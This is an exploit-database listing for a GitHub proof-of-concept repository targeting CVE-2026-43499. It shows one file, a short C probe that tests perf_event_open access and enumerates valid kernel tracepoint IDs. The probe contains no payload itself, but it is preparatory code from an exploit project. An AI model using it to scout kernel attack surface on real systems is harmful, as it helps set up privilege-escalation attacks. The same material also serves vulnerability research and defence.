Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/perf_probe.c

C · 1,004 bytes
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
struct pe { struct perf_event_attr a; };
static long pe_open(struct perf_event_attr *a,int pid,int cpu,int grp,unsigned long fl){
    return syscall(__NR_perf_event_open,a,pid,cpu,grp,fl);
}
int main(void){
    struct perf_event_attr a; memset(&a,0,sizeof(a));
    a.type=PERF_TYPE_SOFTWARE; a.size=sizeof(a); a.config=PERF_COUNT_SW_CPU_CLOCK;
    long r=pe_open(&a,0,-1,-1,0);
    printf("software cpu-clock: %ld errno=%d\n",r,r<0?errno:0);
    if(r>=0) close((int)r);
    memset(&a,0,sizeof(a));
    a.type=PERF_TYPE_TRACEPOINT; a.size=sizeof(a);
    int ok=0;
    for(int id=0;id<2200;id++){
        a.config=id; a.exclude_kernel=0;
        long f=pe_open(&a,0,-1,-1,0);
        if(f>=0){ printf("tracepoint id=%d -> fd=%ld\n",id,f); close((int)f); if(++ok>40) break; }
        errno=0;
    }
    printf("done, %d valid ids\n",ok);
    return 0;
}